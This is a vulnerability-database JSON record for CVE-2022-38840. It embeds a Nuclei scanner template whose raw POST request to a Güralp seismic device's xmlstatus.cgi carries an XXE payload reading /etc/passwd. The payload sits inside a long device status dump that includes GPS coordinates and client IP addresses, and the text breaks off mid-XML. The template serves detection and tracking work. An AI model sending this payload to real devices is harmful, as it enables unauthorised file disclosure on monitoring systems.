{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-38840/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-38840/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-38840/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-38840/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-38840/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-38840"},"sightings":{"href":"/api/v1/sightings/cve-2022-38840"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-38840.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-38840\n\ninfo:\n  name: Güralp MAN-EAM-0003 3.2.4 - XML External Entity (XXE)\n  author: daffainfo\n  severity: high\n  description: |\n    cgi-bin/xmlstatus.cgi in Güralp MAN-EAM-0003 3.2.4 is vulnerable to an XML External Entity (XXE) issue via XML file upload, which leads to local file disclosure.\n  impact: |\n    Unauthenticated attackers can exploit XXE vulnerabilities in the xmlstatus.cgi component to read arbitrary files from the seismic monitoring system, potentially accessing sensitive configuration data and system credentials.\n  remediation: |\n    Update Güralp MAN-EAM-0003 to a version newer than 3.2.4 that disables external entity processing in XML parsers and validates uploaded XML files.\n  reference:\n    - https://www.exploit-db.com/exploits/51037\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-38840\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-38840\n    cwe-id: CWE-611\n    epss-score: 0.09803\n    epss-percentile: 0.95376\n    cpe: cpe:2.3:a:guralp:man-eam-0003:3.2.4:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: guralp\n    product: man-eam-0003\n    google-query: \"webconfig menu.cgi\"\n  tags: cve,cve2022,guralp,man-eam-0003,xxe,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/xmlstatus.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb84cALN1n8IDf7tQ\n\n        ------WebKitFormBoundaryb84cALN1n8IDf7tQ\n        Content-Disposition: form-data; name=\"xml_file\"; filename=\"\"\n        Content-Type: application/octet-stream\n\n\n        ------WebKitFormBoundaryb84cALN1n8IDf7tQ\n        Content-Disposition: form-data; name=\"xml_data\"\n\n        <?xml version='1.0'?>\n        <!DOCTYPE replace [<!ENTITY example SYSTEM \"file:///etc/passwd\"> ]>\n        <xml-status xmlns='http://www.guralp.com/platinum/xmlns/xmlstatus/1.1'>\n        <module status='-1' display-primary='true' path='das' title='Data acquisition'>\n        <reading status='100' display-primary='false' path='is_faulty'\n            title='Fault condition'>false</reading>\n        <reading status='-1' display-primary='false' path='dsp_tag'\n            title='DSP code tag'>platinum</reading>\n        <reading status='-1' display-primary='false' path='dsp_version'\n            title='DSP code version'>102</reading>\n        <reading status='100' display-primary='true' path='dsp_state'\n            title='Acquisition hardware module'>running</reading>\n        <reading status='-1' display-primary='true' path='reference_clock'\n            title='Reference clock type'>GPS</reading>\n        <reading status='100' display-primary='false' path='clock_controller'\n            title='ADC clock controller state'>FLL</reading>\n        <reading status='-1' display-primary='false' path='clock_control_val'\n            title='ADC clock controller value'>46196</reading>\n        <reading status='100' display-primary='true' path='clock_locked'\n            title='ADC clock locked'>true</reading>\n        <reading status='-1' display-primary='true' path='clock_last_locked'\n            title='ADC clock last locked at'>2022-06-14T11:26:53Z</reading>\n        <reading status='100' display-primary='true' path='clock_phase_error' units='s'\n            title='ADC clock phase error'>6.1e-08</reading>\n        </module>\n        <module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.0' title='Sensor A'>\n        <reading status='100' display-primary='true' path='state'\n            title='Current state'>running</reading>\n        <reading status='-1' display-primary='true' path='last_action_time'\n            title='Last action timestamp'>never</reading>\n        <reading status='-1' display-primary='true' path='last_action'\n            title='Last action'></reading>\n        <reading status='96' display-primary='true' path='mass_Z'\n            title='Z mass position'>4.6%</reading>\n        <reading status='100' display-primary='true' path='mass_N'\n            title='N mass position'>-0.3%</reading>\n        <reading status='100' display-primary='true' path='mass_E'\n            title='E mass position'>-0.3%</reading>\n        </module>\n        <module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.1' title='Sensor B'>\n        <reading status='100' display-primary='true' path='state'\n            title='Current state'>running</reading>\n        <reading status='-1' display-primary='true' path='last_action_time'\n            title='Last action timestamp'>never</reading>\n        <reading status='-1' display-primary='true' path='last_action'\n            title='Last action'></reading>\n        </module>\n        <module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.X' title='Auxiliary'>\n        <reading status='100' display-primary='true' path='state'\n            title='Current state'>running</reading>\n        <reading status='-1' display-primary='true' path='last_action_time'\n            title='Last action timestamp'>never</reading>\n        <reading status='-1' display-primary='true' path='last_action'\n            title='Last action'></reading>\n        </module>\n        <module status='-1' display-primary='true' path='gcf-out-scream.default' title='Scream server (GCF network sender)'>\n        <reading status='100' display-primary='true' path='total_blocks'\n            title='Total number of blocks sent'>11374055</reading>\n        <reading status='100' display-primary='true' path='last5_blocks'\n            title='Number of blocks sent in last 5 minutes'>331</reading>\n        <reading status='-1' display-primary='false' path='port_number'\n            title='Port listening on'>1567</reading>\n        <reading status='-1' display-primary='true' path='num_clients'\n            title='Number of clients connected'>0</reading>\n        <list status='-1' display-primary='true' path='clients' title='Clients'>\n        </list>\n        </module>\n        <module status='-1' display-primary='false' path='gdi-base.default' title='Default data transport daemon'>\n        <reading status='100' display-primary='true' path='num_channels'\n            title='Number of channels'>16</reading>\n        <reading status='100' display-primary='true' path='num_clients'\n            title='Number of connected clients'>5</reading>\n        <reading status='100' display-primary='true' path='num_samples'\n            title='Number of samples received'>7338920142</reading>\n        <reading status='100' display-primary='true' path='last5_samples'\n            title='Number of samples in last 5 minutes'>213600</reading>\n        <list status='-1' display-primary='false' path='clients' title='Clients'>\n        <list-item status='-1' display-primary='false' path='44B02216' title='Client #1'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Client name'>gdi2gcf[default]</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='1CC104A5' title='Client #2'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Client name'>gdi-link-tx[default]</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='9D9E4553' title='Client #3'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Client name'>gdi2miniseed[default]</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='4B1427EC' title='Client #4'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Client name'>das-in</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='412FD3EB' title='Client #5'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Client name'>das-in-textstatus</reading>\n        </list-item>\n        </list>\n        <list status='-1' display-primary='false' path='channels' title='Channels'>\n        <list-item status='-1' display-primary='false' path='38B5E770' title='Channel #1'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.HHZ.TM.00</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='7B77F21B' title='Channel #2'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.HHN.TM.00</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='B55019F4' title='Channel #3'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.HHE.TM.00</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='35ED217B' title='Channel #4'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.HDF.TM.X0</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='8062D6AB' title='Channel #5'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.HNZ.TM.10</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='2099C9F1' title='Channel #6'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.HNN.TM.10</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='DE833721' title='Channel #7'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.HNE.TM.10</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='5510ED44' title='Channel #8'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.MMZ.TM.00</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='ACFA260E' title='Channel #9'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.MMN.TM.00</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='5BED382E' title='Channel #10'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.MME.TM.00</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='67453FF7' title='Channel #11'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.SOH.TM.0</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='1D34DF0D' title='Channel #12'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB-AIB</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='A11AEDBA' title='Channel #13'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.SOH.TM.1</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='2DBCFF6E' title='Channel #14'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB-BIB</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path='9D7CDB17' title='Channel #15'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB.SOH.TM.X</reading>\n        </list-item>\n        <list-item status='-1' display-primary='false' path=' 8A3C070' title='Channel #16'>\n        <reading status='-1' display-primary='false' path='name'\n            title='Channel name'>DONB-XIB</reading>\n        </list-item>\n        </list>\n        </module>\n        <module status='-1' display-primary='true' path='gdi-link-tx.default' title='System gdi-link transmitter'>\n        <reading status='100' display-primary='true' path='total_bytes_sent' units='bytes'\n            title='Total number of bytes sent'>11273973132</reading>\n        <reading status='100' display-primary='true' path='last5_bytes_sent'\n            title='Number of bytes sent in last 5 minutes'>325518</reading>\n        <reading status='100' display-primary='true' path='tx_rate'\n            title='Transmit rate over last 5 minutes'>1085.06</reading>\n        <reading status='-1' display-primary='false' path='port_number'\n            title='Port listening on'>1565</reading>\n        <reading status='100' display-primary='true' path='num_clients'\n            title='Number of clients'>0</reading>\n        <list status='-1' display-primary='true' path='clients' title='Clients'>\n        </list>\n        </module>\n        <module status='-1' display-primary='true' path='gdi2gcf.default' title='GCF compressor. Default instance'>\n        <reading status='100' display-primary='true' path='num_samples_in'\n            title='Total number of samples in'>7439096490</reading>\n        <reading status='100' display-primary='true' path='last5_samples_in'\n            title='Number of samples in in last 5 minutes'>216516</reading>\n        <reading status='100' display-primary='true' path='num_blocks_out'\n            title='Total number of blocks out'>11374055</reading>\n        <reading status='100' display-primary='true' path='last5_blocks_out'\n            title='Number of blocks out in last 5 minutes'>331</reading>\n        <list status='-1' display-primary='false' path='channels' title='Channels'>\n        <list-item status='-1' display-primary='true' path='10D33176' title='DONB.HHZ.TM.00'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>100</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-AZ0</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:26:46.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'>1</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='39355EAD' title='DONB.HHN.TM.00'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>100</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-AN0</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:26:46.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'>1</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path=' 380425E' title='DONB.HHE.TM.00'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>100</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-AE0</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:26:45.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'>1</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='E6EAF8A3' title='DONB.HDF.TM.X0'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>100</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-XX0</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:26:35.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'>1</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='45B1141C' title='DONB.HNZ.TM.10'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>100</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-BZ0</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:26:48.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'>1</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path=' 9951403' title='DONB.HNN.TM.10'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>100</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-BN0</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:26:42.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'>1</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='3B38B4CE' title='DONB.HNE.TM.10'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>100</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-BE0</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:26:40.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'>1</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='3E12CA7F' title='DONB.MMZ.TM.00'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>4</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-AM8</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:24:48.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='F194038D' title='DONB.MMN.TM.00'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>4</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-AM9</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:23:47.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='80F951F3' title='DONB.MME.TM.00'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>4</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-AMA</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'>2022-06-14T11:23:57.000000000Z</reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='  DCFFBA' title='DONB.SOH.TM.0'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>nan</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-A00</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'></reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='F2D860DE' title='DONB-AIB'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>nan</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-AIB</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'></reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='8B4D513B' title='DONB.SOH.TM.1'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>nan</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-B00</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'></reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='5CC9B084' title='DONB-BIB'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>nan</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-BIB</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'></reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='B4418B8A' title='DONB.SOH.TM.X'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>nan</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-X00</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'></reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='AB7AFF68' title='DONB-XIB'>\n        <reading status='-1' display-primary='true' path='sample_rate' units='Hz'\n            title='Sample rate'>nan</reading>\n        <reading status='-1' display-primary='true' path='gcf_name'\n            title='GCF name'>DONB-XIB</reading>\n        <reading status='-1' display-primary='true' path='last_block'\n            title='Last block timestamp'></reading>\n        <reading status='-1' display-primary='false' path='digitiser_type'\n            title='GCF digitiser type'>CMG-DAS</reading>\n        <reading status='-1' display-primary='false' path='ttl'\n            title='GCF tap table lookup'>0</reading>\n        <reading status='-1' display-primary='false' path='pga'\n            title='GCF variable gain'></reading>\n        </list-item>\n        </list>\n        </module>\n        <module status='-1' display-primary='true' path='gdi2miniseed.default' title='Mini-SEED compressor. Default instance'>\n        <reading status='100' display-primary='true' path='num_samples_in'\n            title='Total number of data samples in'>6184483152</reading>\n        <reading status='100' display-primary='true' path='last5_samples_in'\n            title='Number of samples in last 5 minutes'>180000</reading>\n        <reading status='100' display-primary='true' path='num_text_in'\n            title='Total number of text samples in'>0</reading>\n        <reading status='100' display-primary='true' path='last5_text_in'\n            title='Number of text samples in last 5 minutes'>0</reading>\n        <reading status='100' display-primary='true' path='num_ms_rec_out'\n            title='Total number of Miniseed records out'>22682743</reading>\n        <reading status='100' display-primary='true' path='last5_ms_rec_out'\n            title='Number of Miniseed records out in last 5 minutes'>655</reading>\n        </module>\n        <module status='-1' display-primary='true' path='gps' title='GPS'>\n        <reading status='100' display-primary='true' path='have_data'\n            title='GPS data received'>true</reading>\n        <reading status='100' display-primary='false' path='last_data'\n            title='Last data received from GPS'>2022-06-14T11:26:53Z</reading>\n        <reading status='100' display-primary='true' path='fix'\n            title='Fix'>3D</reading>\n        <reading status='100' display-primary='true' path='last_fix'\n            title='Timestamp of last fix'>2022-06-14T11:26:53Z</reading>\n        <reading status='-1' display-primary='true' path='latitude' units='°'\n            title='Latitude'>13.909917</reading>\n        <reading status='-1' display-primary='true' path='longitude' units='°'\n            title='Longitude'>100.593734</reading>\n        <reading status='-1' display-primary='true' path='elevation' units='m'\n            title='Elevation'>3</reading>\n        <reading status='100' display-primary='true' path='sv_count'\n            title='Count of satellites in view'>26</reading>\n        <reading status='100' display-primary='true' path='sv_used'\n            title='Count of satellites used in fix'>12</reading>\n        <reading status='-1' display-primary='true' path='sv_online'\n            title='Timestamp of last nmea sentence'>2022-06-14T11:26:52Z</reading>\n        <reading status='100' display-primary='true' path='rs232_detect'\n            title='RS232 device detect'>true</reading>\n        </module>\n        <module status='-1' display-primary='true' path='ntp' title='NTP'>\n        <reading status='-1' display-primary='false' path='mode'\n            title='Timing mode'>direct_gps</reading>\n        <reading status='-1' display-primary='true' path='mode_desc'\n            title='Timing mode'>NTP is using a GPS reference source.</reading>\n        <reading status='100' display-primary='true' path='locked'\n            title='Clock locked'>true</reading>\n        <reading status='100' display-primary='true' path='estimated_error' units='s'\n            title='Estimated error'>0.000131</reading>\n        <reading status='-1' display-primary='true' path='clock_source'\n            title='Clock source'>GPS</reading>\n        <reading status='-1' display-primary='false' path='peer'\n            title='Peer'>127.127.28.1</reading>\n        <reading status='-1' display-primary='false' path='peer_refid'\n            title='Peer&apos;s reference ID'>GPS</reading>\n        </module>\n        <module status='-1' display-primary='true' path='seedlink-out.0' title='SEEDlink network server (instance 1)'>\n        <reading status='-1' display-primary='true' path='num_records'\n            title='Total number of records seen'>22682743</reading>\n        <reading status='100' display-primary='true' path='last5_records'\n            title='Number of records seen in last 5 minutes'>655</reading>\n        <reading status='-1' display-primary='true' path='seq'\n            title='Current sequence number'>3382931</reading>\n        <reading status='100' display-primary='true' path='num_clients'\n            title='Number of clients connected'>7</reading>\n        <list status='-1' display-primary='true' path='clients' title='Clients'>\n        <list-item status='-1' display-primary='true' path='2DF96A1C' title='Client #1700'>\n        <reading status='-1' display-primary='true' path='remote_ip'\n            title='Remote IP address'>123.160.221.22</reading>\n        <reading status='-1' display-primary='true' path='remote_port'\n            title='Remote TCP port'>21100</reading>\n        <reading status='-1' display-primary='true' path='dialup'\n            title='Dialup mode'>false</reading>\n        <reading status='-1' display-primary='true' path='seqno'\n            title='Last sequence no'>0</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='79C29121' title='Client #3412'>\n        <reading status='-1' display-primary='true' path='remote_ip'\n            title='Remote IP address'>113.53.234.98</reading>\n        <reading status='-1' display-primary='true' path='remote_port'\n            title='Remote TCP port'>33964</reading>\n        <reading status='-1' display-primary='true' path='dialup'\n            title='Dialup mode'>false</reading>\n        <reading status='-1' display-primary='true' path='seqno'\n            title='Last sequence no'>0</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='5060E6FF' title='Client #3581'>\n        <reading status='-1' display-primary='true' path='remote_ip'\n            title='Remote IP address'>203.114.125.67</reading>\n        <reading status='-1' display-primary='true' path='remote_port'\n            title='Remote TCP port'>48666</reading>\n        <reading status='-1' display-primary='true' path='dialup'\n            title='Dialup mode'>false</reading>\n        <reading status='-1' display-primary='true' path='seqno'\n            title='Last sequence no'>3221351</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='B1A1AB18' title='Client #3723'>\n        <reading status='-1' display-primary='true' path='remote_ip'\n            title='Remote IP address'>113.53.234.98</reading>\n        <reading status='-1' display-primary='true' path='remote_port'\n            title='Remote TCP port'>45158</reading>\n        <reading status='-1' display-primary='true' path='dialup'\n            title='Dialup mode'>false</reading>\n        <reading status='-1' display-primary='true' path='seqno'\n            title='Last sequence no'>3382931</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path=' 91FC71C' title='Client #3720'>\n        <reading status='-1' display-primary='true' path='remote_ip'\n            title='Remote IP address'>221.128.101.50</reading>\n        <reading status='-1' display-primary='true' path='remote_port'\n            title='Remote TCP port'>55776</reading>\n        <reading status='-1' display-primary='true' path='dialup'\n            title='Dialup mode'>false</reading>\n        <reading status='-1' display-primary='true' path='seqno'\n            title='Last sequence no'>3382931</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='599CD113' title='Client #3721'>\n        <reading status='-1' display-primary='true' path='remote_ip'\n            title='Remote IP address'>118.175.2.50</reading>\n        <reading status='-1' display-primary='true' path='remote_port'\n            title='Remote TCP port'>60818</reading>\n        <reading status='-1' display-primary='true' path='dialup'\n            title='Dialup mode'>false</reading>\n        <reading status='-1' display-primary='true' path='seqno'\n            title='Last sequence no'>3382931</reading>\n        </list-item>\n        <list-item status='-1' display-primary='true' path='BAB80847' title='Client #3722'>\n        <reading status='-1' display-primary='true' path='remote_ip'\n            title='Remote IP address'>203.114.125.67</reading>\n        <reading status='-1' display-primary='true' path='remote_port'\n            title='Remote TCP port'>53984</reading>\n        <reading status='-1' display-primary='true' path='dialup'\n            title='Dialup mode'>false</reading>\n        <reading status='-1' display-primary='true' path='seqno'\n            title='Last sequence no'>3382931</reading>\n        </list-item>\n        </list>\n        </module>\n        <module status='-1' display-primary='true' path='storage' title='Storage'>\n        <reading status='100' display-primary='true' path='state'\n            title='State'>Inactive</reading>\n        <reading status='100' display-primary='true' path='recording_state'\n            title='Recording state'>Last flush good</reading>\n        <reading status='-1' display-primary='true' path='last_accessed'\n            title='Last accessed'>2022-06-14T08:10:14Z</reading>\n        <reading status='-1' display-primary='true' path='free_space_pct'\n            title='Free space'>27.2%</reading>\n        <reading status='-1' display-primary='false' path='free_space' units='bytes'\n            title='Available space'>17449811968</reading>\n        <reading status='-1' display-primary='true' path='size' units='bytes'\n            title='Storage size'>64134021120</reading>\n        <reading status='100' display-primary='false' path='fs_type'\n            title='Filesystem type'>VFAT</reading>\n        <list status='-1' display-primary='false' path='clients' title='Clients'>\n        </list>\n        </module>\n        <module status='-1' display-primary='true' path='system' title='Linux system'>\n        <reading status='-1' display-primary='false' path='serial_number'\n            title='Serial number'>DAS-405D62</reading>\n        <reading status='-1' display-primary='true' path='uptime' units='s'\n            title='System uptime'>10307538</reading>\n        <reading status='-1' display-primary='true' path='load_average'\n            title='Load Average'>1.72</reading>\n        <reading status='100' display-primary='true' path='root_free_space' units='bytes'\n            title='Root filesystem free space'>437809152</reading>\n        <reading status='100' display-primary='true' path='root_percent_free_space'\n            title='Root filesystem percentage space free'>77.0%</reading>\n        <reading status='-1' display-primary='true' path='build_label'\n            title='Software repository label'>&example;</reading>\n        <reading status='-1' display-primary='true' path='build_version'\n            title='Software build number'>15809</reading>\n        <reading status='-1' display-primary='true' path='build_machine'\n            title='Build machine'>CMG-DAS</reading>\n        